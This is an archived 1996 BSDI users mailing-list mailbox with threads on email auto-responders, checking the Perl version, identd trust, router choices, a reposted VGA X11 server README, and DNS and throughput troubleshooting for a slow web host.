(EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA22469 for bsdi-users-outgoing; Fri, 15 Nov 1996 17:46:15 -0500 (EST) Message-Id: <199611152245.OAA09002@dei.calldei.com> In-Reply-To: from "Robin Dua" at Nov 15, 96 02:41:59 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: "David A. Lee" Sender: owner-bsdi-users@lists.gateway.com To: dua@globalserve.net (Robin Dua) Cc: bsdi-users@BSDI.COM Subject: Re: Auto-reply daemon Date: Fri, 15 Nov 1996 14:45:34 -0800 (PST) procmail will do everything you need and more. > > Does anyone know of an auto reply back program / daemon for e-mail. We > need something that will accept incoming e-mail requests for information > and then send a standard reply back to the individual. > > If someone has a script that they can send me that would be great. Thanks. > > Robin > GlobalServe Communications Inc. > From VM Fri Nov 15 22:46:50 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["530" "Fri" "15" "November" "1996" "18:00:23" "+0000" "Jim Cassata" "jim@web-ex.com" nil "19" "Re: Auto-reply daemon" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA25051 for ; Fri, 15 Nov 1996 17:56:56 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA22486 for bsdi-users-outgoing; Fri, 15 Nov 1996 17:53:57 -0500 (EST) Message-Id: <199611152255.RAA11894@web-ex.com> Comments: Authenticated sender is MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Reply-to: jim@web-ex.com X-mailer: Pegasus Mail for Windows (v2.42a) Precedence: bulk From: "Jim Cassata" Sender: owner-bsdi-users@lists.gateway.com To: Robin Dua , bsdi-users@BSDI.COM Subject: Re: Auto-reply daemon Date: Fri, 15 Nov 1996 18:00:23 +0000 > Does anyone know of an auto reply back program / daemon for e-mail. We > need something that will accept incoming e-mail requests for information > and then send a standard reply back to the individual. > > If someone has a script that they can send me that would be great. Thanks. There is one in Oreilly's Managing Internet Information Services page 393 looks pretty good. Jim Cassata ______________________ jim@web-ex.com Web Express, Inc. 20 Broadhollow Road Suite 3011 Melville, NY 11747 516.421.6000 516.421.3882 fax From VM Fri Nov 15 22:46:50 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["746" "Fri" "15" "November" "1996" "18:05:35" "-0500" "Gary N. McKinney" "gmckinney@megabits.net" nil "30" "Re: Perl 5.00? (and a thank you to all)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA25327 for ; Fri, 15 Nov 1996 18:10:18 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id SAA22528 for bsdi-users-outgoing; Fri, 15 Nov 1996 18:07:16 -0500 (EST) Message-ID: <328CF73F.15FB7483@megabits.net> Organization: MegaBits Computers, Inc. X-Mailer: Mozilla 3.0 (X11; I; BSD/OS 2.0 i386) MIME-Version: 1.0 References: <199611152217.RAA11845@web-ex.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Gary N McKinney Sender: owner-bsdi-users@lists.gateway.com To: jim@web-ex.com CC: bsdi-users@BSDI.COM Subject: Re: Perl 5.00? (and a thank you to all) Date: Fri, 15 Nov 1996 18:05:35 -0500 Jim Cassata wrote: > > I would like to thank everyone who participates in this list for making it > so great. All of you help this guy put food on the table for his family. > > How do I determine if I have PERL 5.001 or .002? > I tried searching through the directories and man pages, but no luck. I > have 2.1 which was installed about a year ago. Or better yet, where would > I find a recent version? > > Thanks again > > Jim Cassata > ______________________ > jim@web-ex.com > Web Express, Inc. > 20 Broadhollow Road > Suite 3011 > Melville, NY 11747 > 516.421.6000 > 516.421.3882 fax Actually ... It is an EXTRIMELY COMPLEX operation@!!! type the following VERY carefully at the command prompt ... "perl -v" later ... gm... From VM Fri Nov 15 22:46:51 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["316" "Fri" "15" "November" "1996" "14:41:59" "-0500" "Robin Dua" "dua@globalserve.net" nil "10" "Auto-reply daemon" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA25598 for ; Fri, 15 Nov 1996 18:16:52 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA21847 for bsdi-users-outgoing; Fri, 15 Nov 1996 15:00:39 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Robin Dua Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@bsdi.com Subject: Auto-reply daemon Date: Fri, 15 Nov 1996 14:41:59 -0500 (EST) Does anyone know of an auto reply back program / daemon for e-mail. We need something that will accept incoming e-mail requests for information and then send a standard reply back to the individual. If someone has a script that they can send me that would be great. Thanks. Robin GlobalServe Communications Inc. From VM Fri Nov 15 22:46:52 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["483" "Fri" "15" "November" "1996" "15:25:31" "-0500" "Sam Brown" "root@ns2.clever.net" nil "20" "Re: IP Adress Proxy Software" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA25872 for ; Fri, 15 Nov 1996 18:23:15 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA21975 for bsdi-users-outgoing; Fri, 15 Nov 1996 15:27:42 -0500 (EST) In-Reply-To: <199611151614.LAA13564@cse.psu.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: Daniel R Ehrlich cc: bsdi-users@lists.gateway.com Subject: Re: IP Adress Proxy Software Date: Fri, 15 Nov 1996 15:25:31 -0500 (EST) You may have more luck with Linux doing this. I don't believe bsdi has the ip masquerading feature available yet? 3.0 mebbe? Sam On Fri, 15 Nov 1996, Daniel R Ehrlich wrote: > Hello all, > > I was wondering if there is software available that would allow a machine > running BSDI to act as a proxy router for a private IP network? I am trying > to set up a small net of machines at home, but the university will only give > me one IP address. > > Thanks, > Dan Ehrlich > > From VM Fri Nov 15 22:46:53 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["897" "Fri" "15" "November" "1996" "14:19:10" "-0500" "Henry Spencer" "henry@zoo.toronto.edu" nil "18" "Re: identd Process CPU Utilization" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA26145 for ; Fri, 15 Nov 1996 18:39:01 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA21833 for bsdi-users-outgoing; Fri, 15 Nov 1996 14:59:43 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Henry Spencer Sender: owner-bsdi-users@lists.gateway.com To: Stephen Fisher cc: bsdi-users@bsdi.com Subject: Re: identd Process CPU Utilization Date: Fri, 15 Nov 1996 14:19:10 -0500 (EST) > Identd is used for verifying who the user really is that connected to your > web site/irc server/sendmail port/whatever... No, it's useless for verification. Identd is used for *logging* who the user's system *claims* the user is; the information is useless to anyone except that system's administrators, because nobody else knows whether it can be trusted. However, being able to pass this information back to those administrators can be helpful *to* *them* in tracking down a bad guy operating on a multi-user system. Despite some early misunderstandings, the information from identd is (in general) of no interest to software, for authentication or verification or any other purpose. It's strictly for generating human-helpful logs. Henry Spencer henry@zoo.toronto.edu From VM Fri Nov 15 22:46:54 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["365" "Fri" "15" "November" "1996" "15:56:26" "-0800" "Armando Escalante" "armando@tio.com" nil "15" "Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA26422 for ; Fri, 15 Nov 1996 18:51:06 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id SAA22582 for bsdi-users-outgoing; Fri, 15 Nov 1996 18:46:52 -0500 (EST) In-Reply-To: <3.0.1.32.19961115135829.009e32c0@popgw.firstdata.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Armando Escalante Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM cc: Armando Escalante Subject: Dual Homing w/BSDI or 25xx? Date: Fri, 15 Nov 1996 15:56:26 -0800 (PST) I'm going add a new line to my site, would anyone recommend the best way to go? I have a cisco 2514 but know that a bsdi box with T1 boards also works as a router. Using GateD? Can I use the 2514 to do dual homing? Should I use it? Should I use BSDI instead? What would cost less and be easier to configure? Where can I find out? Thanks in advance! Armando From VM Fri Nov 15 22:46:55 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["5460" "Fri" "15" "November" "1996" "21:16:14" "+0100" "Arne Steinkamm" "arne@steinkamm.com" nil "147" "Roots" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA26690 for ; Fri, 15 Nov 1996 18:55:29 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA21986 for bsdi-users-outgoing; Fri, 15 Nov 1996 15:28:39 -0500 (EST) Message-Id: <199611152016.VAA06497@oldman.steinkamm.com> X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: Arne Steinkamm Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@bsdi.com Cc: arne@Steinkamm.COM (Arne Steinkamm) Subject: Roots Date: Fri, 15 Nov 1996 21:16:14 +0100 (MET) Six years, six months... > Message-ID: <921104-21:55:22.831@localhost.informatik.tu-muenchen.de> > Newsgroups: comp.sources.x > Subject: v07i042: VGA X11 Server, Part00/08 > Date: 15 May 90 05:59:05 GMT > Posting-number: Volume 7, Issue 42 > Archive-name: vga > Submitted-by: Thomas Roell > > ----------------------------- Cut here ---------------------------------------- > There it is -- the X11 server of your sleepless nights! > > > FEATURES: > > - various resolutions (640x480, 720x540, 864x606) > - MouseSystems & MicroSoft Mouse support. > - shared libraries > - STREAMS connection (no TCP/IP neccessary!!) > - you need only 80MBytes diskspace for compiling (*smile*) > - it's free!!! > > > INSTALLATION: > > Quite simple, but when you use shared libraries (which are very space-saving!) > the normal strategie for building X11R4 fails. But anyway it's not so hard to > do: > It's assumed that you successfully installed all patches and are > now in the top directory (ex. /usr/local/X11/mit ). > > 1) make Makefile > 2) make Makefiles > 3) make includes > 4) cd lib > cp Imakefile.new Imakefile > make Makefile > cd .. > 5) make depend > 6) make > > Now all should go it's usual way. > > But why all this stuff for shard libs ? > > As you might know SYSV shared libraries are just static linked programs with > a special magic number. Therefor all references must bee resolved befor build > the library. This means if libb.a uses a symbol defined in liba.a, then liba.a > MUST be build before libb.a. Now in our case libXt.a depends upon libXext.a, > which normally will be build after all normal libraries in lib/. Therefore > libXext.a must be build after libX11.a and before libXt.a. > > Ok. -- here are two Imakefiles (Imakefile.old & Imakefile.new). Imakefile.old > is used first three steps, while Imakefile.new is used for real building X11R4. > > > If some of the above descibed steps failed, you should look in config/ix386.cf > to set the correct paths and flags. You could have done this before first > typeing 'make' -- but who reads the README file first ??? (nobody!!!!) > > > HINTS, TIPS & TRICKS: > > 1) After installing all X11 stuff you should use following litte script to > shrink you clients: > > for i in * > do > strip $i > mcs -d $i > done > > 2) You should execute 'chmod 755 xterm xload' in /usr/bin/X11. > > 3) Remove the 100dpi fonts. if you don't plan to use them. It saves some disk > space. > > > > NOTES: > > 1) To compile config/imake successfull you should edit config/Makefile.ini to > contain the statement 'BOOTSTRAPSCFLAGS = -Dix386 -DSYSV -DUSG' , then > go into config and type 'make -f Makefile.ini'. > > 2) There must be a directory called /dev/X !!!! > > 3) There must be a /dev/vtxx with no getty-process on it. (i.e an unallocated > virtual terminal ) > > 4) This is a quick & dirty port for VGA. I done it because I wanted X11 on my > 386box ( and not pay $750 for Interactives version!!). There are limits > on the server. All my experiances with this server caused me to write a > completely new one (not based upon ibm code). It will provide more modes > (Monochrom, 4,8,16,256 Colors), more flexibility -- short speaking: It > will bee much better. I gave away this version only because too many people > have asked for it now. When the new server is stable enought it will be > available immediately. But that won't be before autumn '90. > > 5) I tested the whole thing only with gcc!!! There may be problems with > normal cc. At least the server depends on gcc, because here I used inlines > in gcc syntax. > > 6) Compiling the server will require libdbm.a !!! You can obtain a public > available version of this library for GNU. This library is not standart in > SYS V/386. > > 7) There are minor bugs in server/ddx/ibm/vga. I got no time to fix them all, > so why don't you do that. > > 8) gcc has problems with indirect function calls. That may cause errors in > the libraries. But as far as I tested the clients there are no more bug's > (but who knows...). > > 9) xman: Here I personally use a special format (may not be standard on SYSV). > All manpages are located in /usr/man/cat*. As you should notice * stands for > 1,2,3,4,5,6,7,8,l,n -- the normal way of UNIX-life. But in that directries > all manpages are preformatted and (thats the important thing) compressed. > The normal extension is missing (and the '.Z', too!!!!) , so there all > 14 characters available for name of the function or command. > > 10) You are urged to send me all you suggestions, comments, bugfixes and > improvements. Let's create a better server than all these comercially > available ones!!! > > > TODO: > > 1) Currently there is only support for seriall mice. Let's add more models and > the variouse bus mice, too. > > 2) The library of available graphics modes (i.e. resolutions) is quite small. > > 3) There sould be a library of keyboard mappings for different countries > (german, frence, spain ....). Greetings .//. Arne -- Arne Steinkamm | Mail (MIME): Arne@Steinkamm.COM IRC: Arne Tel.: +49.89.299.756 | URL: http://WWW.Steinkamm.COM/ NIC-Handle: AS306 Robert-Koch-Str. 4 | "There's coffee in that nebula" D-80538 Muenchen | Cptn. Kathryn Janeway, ST:VOY - The Cloud From VM Fri Nov 15 22:46:55 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["793" "Fri" "15" "November" "1996" "18:58:08" "-0500" "Enrique Vadillo" "vadillo@apu.rcp.net.pe" nil "31" "Re: Perl 5.00? (and a thank you to all)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA26695 for ; Fri, 15 Nov 1996 18:59:03 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id SAA22615 for bsdi-users-outgoing; Fri, 15 Nov 1996 18:58:13 -0500 (EST) Message-Id: In-Reply-To: <199611152217.RAA11845@web-ex.com> from Jim Cassata at "Nov 15, 96 05:22:09 pm" X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Precedence: bulk From: vadillo@apu.rcp.net.pe (Enrique Vadillo) Sender: owner-bsdi-users@lists.gateway.com To: jim@web-ex.com Cc: bsdi-users@BSDI.COM Subject: Re: Perl 5.00? (and a thank you to all) Date: Fri, 15 Nov 1996 18:58:08 -0500 (EST) try 'perl -v' Enrique- -- R&D at RCP - Internet Peru Fax: +51 1 241-1320 Phone: +51 1 241-5688 Web Site: http://www.rcp.net.pe (PERU) Mirror Web Site: http://ekeko.rcp.net.pe (USA) ---- Jim Cassata escribió ---- > I would like to thank everyone who participates in this list for making it > so great. All of you help this guy put food on the table for his family. > > How do I determine if I have PERL 5.001 or .002? > I tried searching through the directories and man pages, but no luck. I > have 2.1 which was installed about a year ago. Or better yet, where would > I find a recent version? > > Thanks again > > Jim Cassata > ______________________ > jim@web-ex.com > Web Express, Inc. > 20 Broadhollow Road > Suite 3011 > Melville, NY 11747 > 516.421.6000 > 516.421.3882 fax From VM Fri Nov 15 22:46:56 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["687" "Fri" "15" "November" "1996" "15:54:14" "-0800" "Devon Lazarus" "devonl@digitalthink.com" nil "27" "Re: Perl 5.00? (and a thank you to all)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA26700 for ; Fri, 15 Nov 1996 18:59:50 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA22629 for bsdi-users-outgoing; Fri, 15 Nov 1996 19:01:40 -0500 (EST) Message-ID: <328D02A6.59E2B600@digitalthink.com> Organization: DigitalThink X-Mailer: Mozilla 3.01 (X11; I; BSD/OS 2.0 i386) MIME-Version: 1.0 References: <199611152217.RAA11845@web-ex.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Devon Lazarus Sender: owner-bsdi-users@lists.gateway.com To: jim@web-ex.com CC: bsdi-users@BSDI.COM Subject: Re: Perl 5.00? (and a thank you to all) Date: Fri, 15 Nov 1996 15:54:14 -0800 Jim Cassata wrote: > > I would like to thank everyone who participates in this list for making it > so great. All of you help this guy put food on the table for his family. > > How do I determine if I have PERL 5.001 or .002? > I tried searching through the directories and man pages, but no luck. I > have 2.1 which was installed about a year ago. perl -v or /usr/contrib/bin/perl -v > Or better yet, where would > I find a recent version? www.perl.com -d -- |----------------------------------------| | Devon Lazarus Technology Group | | DigitalThink | | www.digitalthink.com coming December 1 | |----------------------------------------| From VM Fri Nov 15 22:46:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1028" "Fri" "15" "November" "1996" "19:03:36" "-0500" "Joe Hohertz" "jhohertz@golden.net" nil "39" "Re: Auto-reply daemon" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA26970 for ; Fri, 15 Nov 1996 19:03:07 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA22646 for bsdi-users-outgoing; Fri, 15 Nov 1996 19:04:11 -0500 (EST) Message-ID: X-Mailer: XFMail 0.5-alpha [p0] on Linux Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Organization: Golden Triangle On-Line Precedence: bulk From: Joe Hohertz Sender: owner-bsdi-users@lists.gateway.com To: Parthiv Shah Cc: Robin Dua , bsdi-users@BSDI.COM Subject: Re: Auto-reply daemon Date: Fri, 15 Nov 1996 19:03:36 -0500 (EST) Nah.... user procmail. It'll do the auto-reply, plus a bazilion other nifty things. On 15-Nov-96 Parthiv Shah wrote: >>Use Vacation. > >Parthiv > >-- > Shah, Parthiv http://www.netadmin.net/ > parthiv@corp.idt.net (201) 928 - 4414 > Systems Administrator at IDT pgp? -> finger parthiv@haven.ios.com > >On Fri, 15 Nov 1996, Robin Dua wrote: > >> Date: Fri, 15 Nov 1996 14:41:59 -0500 (EST) >> From: Robin Dua >> To: bsdi-users@BSDI.COM >> Subject: Auto-reply daemon >> >> Does anyone know of an auto reply back program / daemon for e-mail. We >> need something that will accept incoming e-mail requests for information >> and then send a standard reply back to the individual. >> >> If someone has a script that they can send me that would be great. Thank s. >> >> Robin >> GlobalServe Communications Inc. >> ---------------------------------- E-Mail: Joe Hohertz Date: 11/15/96 Time: 19:03:36 This message was sent by XF-Mail ---------------------------------- From VM Fri Nov 15 22:46:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["701" "Fri" "15" "November" "1996" "19:16:33" "+0000" "Jim Cassata" "jim@web-ex.com" nil "30" "Web pages coming up slow" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA26975 for ; Fri, 15 Nov 1996 19:09:40 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA22657 for bsdi-users-outgoing; Fri, 15 Nov 1996 19:09:53 -0500 (EST) Message-Id: <199611160011.TAA12018@web-ex.com> Comments: Authenticated sender is MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Reply-to: jim@web-ex.com X-mailer: Pegasus Mail for Windows (v2.42a) Precedence: bulk From: "Jim Cassata" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Web pages coming up slow Date: Fri, 15 Nov 1996 19:16:33 +0000 On our T1(low traffic) currently we have one 486-66 running 2.1 with NCSA 1.5 web server w 20 MB ram IDE drives(2) with: 30 email accounts, (rarely used) 20 virtual hosts, 35 sites total (no heavy traffic) Primary DNS (3-4 users and Web sites) load averages .08, .09 Pages seem to come up slower (I don't see it, but others are starting to complain) would the pages come up slow due to the hardware? I just built a P120 w scsi drive and 32 MB ram. should I switch everything over or just DNS or what? I would like to hear your opinions. Thanks Jim Cassata ______________________ jim@web-ex.com Web Express, Inc. 20 Broadhollow Road Suite 3011 Melville, NY 11747 516.421.6000 516.421.3882 fax From VM Fri Nov 15 22:46:58 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["901" "Fri" "15" "November" "1996" "16:35:07" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "21" "Cheap PCMCIA ethernet card (CA)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA27781 for ; Fri, 15 Nov 1996 19:42:24 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA22706 for bsdi-users-outgoing; Fri, 15 Nov 1996 19:41:07 -0500 (EST) Message-Id: <199611160035.QAA24866@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Cheap PCMCIA ethernet card (CA) Date: Fri, 15 Nov 1996 16:35:07 -0800 (PST) FYI: (mostly of interest to people in California) Fry's Electronics has a UTP PCMCIA ethernet adapter on sale for $19.00 that is one of the ethernet PCMCIA cards supported under version 3.0's PCMCIA support (MBH 10302). This is such a good deal that I thought it would be worth mentioning to the mailing list. I have no connection with Fry's other than as a (sometimes fustrated) customer. They had quite of few of them in the Palo Alto store when my wife picked up one for me today. The $19 price is good until Tuesday and from the sticker under the sale price sticker the regular price is $49.99. I don't know if they will do mail order, but their phone number is (415) 496-6000 if you want to find out. Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Fri Nov 15 22:47:06 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["653" "Fri" "15" "November" "1996" "18:10:18" "-0800" "Steven M. Schultz" "sms@wlv.iipo.gtegsc.com" nil "17" "Re: identd Process CPU Utilization" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA00343 for ; Fri, 15 Nov 1996 21:13:49 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA22978 for bsdi-users-outgoing; Fri, 15 Nov 1996 21:10:49 -0500 (EST) Message-Id: <199611160210.SAA27050@wlv.iipo.gtegsc.com> Precedence: bulk From: "Steven M. Schultz" Sender: owner-bsdi-users@lists.gateway.com To: henry@zoo.toronto.edu, lithium@cia-g.com Cc: bsdi-users@BSDI.COM Subject: Re: identd Process CPU Utilization Date: Fri, 15 Nov 1996 18:10:18 -0800 (PST) > From: Henry Spencer > Despite some early misunderstandings, the information from identd is (in > general) of no interest to software, for authentication or verification or > any other purpose. It's strictly for generating human-helpful logs. That's not 100% true. If all the machines using identd are controlled/admin'd by the same person/group then the information from identd can be 'trusted' and used by software (if not then the users have cracked root and I'm in deep doodoo anyhow). In the larger world of the Internet I agree - identd can not be used the same way. Steven Schultz sms@wlv.iipo.gtegsc.com From VM Fri Nov 15 22:47:07 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["4673" "Fri" "15" "November" "1996" "21:04:23" "-0800" "Gary N. McKinney" "gmckinney@megabits.net" nil "142" "Re: Web pages coming up slow" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA00355 for ; Fri, 15 Nov 1996 21:15:11 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA22964 for bsdi-users-outgoing; Fri, 15 Nov 1996 21:07:03 -0500 (EST) Message-ID: <328D4B57.1070@megabits.net> Reply-To: gmckinney@megabits.net Organization: MegaBits Computers, Inc. X-Mailer: Mozilla 3.01Gold (Win16; U) MIME-Version: 1.0 References: <199611160011.TAA12018@web-ex.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: "Gary N. McKinney" Sender: owner-bsdi-users@lists.gateway.com To: jim@web-ex.com CC: bsdi-users@BSDI.COM Subject: Re: Web pages coming up slow Date: Fri, 15 Nov 1996 21:04:23 -0800 Jim Cassata wrote: > > On our T1(low traffic) currently we have > one 486-66 running 2.1 > with NCSA 1.5 web server > w 20 MB ram IDE drives(2) with: > > 30 email accounts, (rarely used) > 20 virtual hosts, > 35 sites total (no heavy traffic) > Primary DNS (3-4 users and Web sites) > load averages .08, .09 > > Pages seem to come up slower (I don't see it, but others are starting to > complain) > would the pages come up slow due to the hardware? > I just built a P120 w scsi drive and 32 MB ram. > should I switch everything over or just DNS or what? > I would like to hear your opinions. > > Thanks > > Jim Cassata > ______________________ > jim@web-ex.com > Web Express, Inc. > 20 Broadhollow Road > Suite 3011 > Melville, NY 11747 > 516.421.6000 > 516.421.3882 fax Jim ... I ran a raw throughput test to your site with the following results: BING ns1.megabits.net (207.30.122.2) and web-ex.com (205.230.175.10) 44 and 108 data bytes --- ns1.megabits.net statistics --- bytes out in dup loss rtt (ms): min avg max 44 197 197 0% 0.356 0.378 0.785 108 197 197 0% 0.364 0.384 0.836 --- web-ex.com statistics --- bytes out in dup loss rtt (ms): min avg max 44 197 195 1% 82.283 91.393 216.670 108 197 194 1% 84.759 93.455 239.468 --- estimated link characteristics --- estimated throughput 414911bps minimum delay per packet 80.230ms (33288 bits) average statistics (experimental) : packet loss: small 1%, big 1%, total 1% average throughput 498539bps average delay per packet 89.318ms (37059 bits) weighted average throughput 492213bps Then I ran the same test to Sprint (our Internet Port connection) with the following: ( We have a Frame Relay T-1 connection with 1023kb CIR and a full newsfeed running ) BING ns1.megabits.net (207.30.122.2) and 207.30.14.85 (207.30.14.85) 44 and 108 data bytes --- ns1.megabits.net statistics --- bytes out in dup loss rtt (ms): min avg max 44 688 688 0% 0.359 0.377 0.808 108 688 688 0% 0.364 0.386 0.862 --- 207.30.14.85 statistics --- bytes out in dup loss rtt (ms): min avg max 44 688 687 0% 8.634 10.633 107.887 108 687 687 0% 10.267 12.329 103.328 --- estimated link characteristics --- estimated throughput 628993bps minimum delay per packet 7.156ms (4501 bits) average statistics (experimental) : packet loss: small 0%, big 0%, total 0% average throughput 606995bps average delay per packet 9.137ms (5747 bits) weighted average throughput 606553bps The following (and I am by NO means a math major - nor want to be!) tells me your "pipe" to the world is fairly well open - no Drano required there... next test - DNS resolution ... NS1: {3} % nslookup web-ex.com Server: ns1.megabits.net Address: 207.30.122.2 Non-authoritative answer: Name: web-ex.com Address: 205.230.175.10 UH-OH ... The infamous Non-authoritative answer! When you updated your DNS to include the virtual domains did you forget to increment the Serial Number of the DNS ZONE file you changed? If so then your upstream provider's DNS server has not updated it's database from your ZONE file and is using "cached" information to resolve your domain. This will "slow" things down quite a bit! Next test.... Reverse DNS resolution: NS1: {4} % nslookup 205.230.175.10 Server: ns1.megabits.net Address: 207.30.122.2 Name: web-ex.com Address: 205.230.175.10 Alright!!! This is more like it ... At least the reverse.db files are configured correctly and the upstream provider's DNS server has updated it's reverse domain database with your information. I would first check your ZONE files CAREFULLY for any mistakes ( watch the "." ) and if nothing seems wrong I would at least increment the serial number by one, then restart the DNS server ( not the machine - just the server program! ) and see if performing a nslookup ( first locally on your network, then remotely from a different domain ... checkout "man nslookup" or type "nslookup help" to see how this is done ) will return authoritative answers (as it should - you can tell because the resolution response DOES NOT say Non-authoritative). If all of the above fails - contact your upstream provider and see if they are having any problems with their DNS server ( Sprint had a problem with our Secondary server and did not even know it! ). Hope this small message helps... gm... From VM Sat Nov 16 18:29:38 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["601" "Sat" "16" "November" "1996" "01:51:04" "" "BSDI Mail" "bsdimail@pcrealm.net" nil "11" "Tape Backup on BSDI 2.1/3.0" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA06013 for ; Sat, 16 Nov 1996 00:54:11 -0500 (EST) Received: (from majordom@localhost) by 